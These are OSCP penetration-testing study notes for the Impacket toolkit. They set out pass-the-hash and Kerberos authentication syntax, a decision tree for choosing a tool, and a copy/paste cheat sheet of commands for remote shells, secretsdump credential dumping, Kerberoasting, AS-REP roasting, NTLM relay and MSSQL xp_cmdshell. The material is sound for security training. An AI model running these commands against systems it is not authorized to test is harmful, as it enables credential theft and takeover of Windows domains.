Impacket — Hub
What is Impacket?
Impacket (fortra/impacket) is a collection of Python classes and scripts for working with network protocols in Windows/Active Directory environments. On Kali, scripts are installed as impacket-<scriptname>.
Official overview: Core Security — Impacket Suite · GitHub: fortra/impacket
OSCP use: Once you have creds or an NT hash, Impacket is the primary toolkit for shells, hash dumps, Kerberos attacks, MSSQL access, and NTLM relay — all from Linux without touching Windows binaries on the target.
Installation & Location
Full install index → Installation - Kali Setup > 📌 Impacket — install / update
# Kali — pre-installed (check version)
impacket-psexec -h
impacket-secretsdump -h
# Script locations
ls /usr/share/doc/python3-impacket/examples/
ls /usr/share/impacket/examples/
# Install / update from GitHub
pip3 install impacket
git clone https://github.com/fortra/impacket
cd impacket && pip3 install .📌 Authentication Syntax (All Scripts)
Most Impacket tools use the same target string:
# Password auth
impacket-SCRIPT domain/user:password@TARGET
impacket-SCRIPT ./localuser:password@TARGET # local account
# Pass-the-Hash (LM not needed — use empty LM)
impacket-SCRIPT user@TARGET -hashes ':NT_HASH'
impacket-SCRIPT domain/user@TARGET -hashes 'LM:NT'
# Kerberos
export KRB5CCNAME=/tmp/user.ccache
impacket-SCRIPT domain/user@TARGET -k -no-pass -dc-ip DC_IP
# No password (null / AS-REP / specific scripts only)
impacket-SCRIPT domain/ -no-pass -dc-ip DC_IPBefore -k / getTGT: Kerberos Setup - krb5.conf + Time Sync-Clock Skew
Shared Flags
| Flag | Description |
|---|---|
-hashes LM:NT | Pass-the-Hash (:NT if no LM hash) |
-dc-ip IP | Domain Controller IP (Kerberos / AD scripts) |
-target-ip IP | Connect to this IP (when hostname resolves wrong) |
-port PORT | Custom port (MSSQL, etc.) |
-k | Use Kerberos ticket from KRB5CCNAME |
-no-pass | No password (Kerberos ticket or anonymous) |
-aesKey KEY | AES key for Kerberos |
-debug | Verbose debug output |
-outputfile FILE | Save output to file |
📌 Which Tool When — Quick Decision Guide
Have valid creds or NT hash?
│
├─ Need a shell on Windows host
│ ├─ Quiet / no disk write → wmiexec (see [[Remote Execution]])
│ ├─ SYSTEM shell (noisy) → psexec
│ └─ No ADMIN$ access → smbexec / atexec
│
├─ Need password hashes
│ ├─ Any Windows host (admin) → secretsdump (SAM + LSA)
│ └─ Domain Controller → secretsdump -just-dc-ntlm
│
├─ Kerberos / AD (no or low priv)
│ ├─ Find roastable SPNs → GetUserSPNs (see [[Kerberos Scripts]])
│ ├─ AS-REP roast (no creds) → GetNPUsers
│ └─ Have TGT/ccache → [[Use Kerberos Ticket]]
│
├─ Captured NTLM hash (Responder)
│ └─ Relay without cracking → ntlmrelayx + Responder
│
├─ Port 1433 MSSQL open
│ └─ SQL shell + xp_cmdshell → mssqlclient — domain cred → **-windows-auth** (see [[mssqlclient]])
│
└─ Enumeration only
├─ Users via SID → lookupsid
├─ RPC endpoints → rpcdump
└─ SMB browse → smbclient
📌 Sub-Notes (This Folder)
| Note | Scripts / Covers |
|---|---|
| Remote Execution | psexec, wmiexec, smbexec, atexec, dcomexec |
| secretsdump | secretsdump — SAM, LSA, NTDS.dit hash dump |
| Kerberos Scripts | GetUserSPNs, GetNPUsers, getTGT, getST, ticketer — request scripts |
| Use Kerberos Ticket | Use .ccache — -k -no-pass wmiexec / psexec / secretsdump |
| Use Kerberoast Hash | After GetUserSPNs — crack → reuse creds |
| Use AS-REP Hash | After GetNPUsers — crack → reuse creds |
| Use raiseChild EA | After raiseChild — parent domain EA abuse |
| ntlmrelayx | ntlmrelayx — NTLM relay with Responder |
| mssqlclient | mssqlclient — MSSQL shell, xp_cmdshell |
| dpapi | dpapi — decrypt Credential Manager blobs offline |
| Impacket Enumeration | lookupsid, rpcdump, samrdump, smbclient, reg, smbserver |
| rpcdump | RPC endpoint enumeration (focused reference) |
| lookupsid & samrdump | SID brute-force + SAMR user dump |
📌 Other Useful Scripts (Quick Reference)
| Script | Purpose |
|---|---|
impacket-ticketer | Forge Kerberos tickets (Golden/Silver) |
impacket-getTGT | Request TGT for a user (password or hash) |
impacket-getST | Request service ticket (TGS) |
impacket-goldenPac | MS14-068 Golden PAC exploit (legacy) |
impacket-smbserver | Host SMB share (receive files, Responder companion) |
impacket-rbcd | Resource-Based Constrained Delegation abuse |
impacket-addcomputer | Add computer account to AD (no creds in some cases) |
impacket-dpapi | DPAPI secrets extraction |
impacket-changepasswd | Change/reset passwords (kpasswd, rpc-samr, ldap) |
impacket-netview | List hosts user has logged into |
📌 Quick OSCP Cheat Sheet (Copy/Paste)
# ─── SHELL ────────────────────────────────────────────────────
impacket-wmiexec domain/user:pass@TARGET
impacket-wmiexec admin@TARGET -hashes ':NTHASH'
impacket-psexec domain/user:pass@TARGET
# ─── DUMP HASHES ──────────────────────────────────────────────
impacket-secretsdump domain/user:pass@TARGET
impacket-secretsdump domain/admin:pass@DC_IP -just-dc-ntlm
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
# ─── KERBEROS ─────────────────────────────────────────────────
impacket-GetUserSPNs corp.local/user:pass -dc-ip DC_IP -request -outputfile kerb.txt
impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt -outputfile asrep.txt
# ─── NTLM RELAY ───────────────────────────────────────────────
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# + Responder in second terminal (SMB=Off in Responder.conf)
# ─── KERBEROS MSSQL (silver ticket) ───────────────────────────
export KRB5CCNAME=Administrator.ccache
impacket-mssqlclient -k -no-pass domain.htb/Administrator@dc01.domain.htb -dc-ip DC_IP
# ─── MSSQL ────────────────────────────────────────────────────
impacket-mssqlclient sa:pass@TARGET # SQL auth (sa)
impacket-mssqlclient oscp.exam/sql_svc:Dolphin1@TARGET -windows-auth
impacket-mssqlclient DOMAIN/user:pass@TARGET -windows-auth
impacket-mssqlclient user@TARGET -hashes ':NTHASH' -windows-authRelated Tools
- Time Sync
- CrackMapExec - nxc
- evil-winrm
- secretsdump
- rpcdump
- lookupsid & samrdump
- Responder
- enum4linux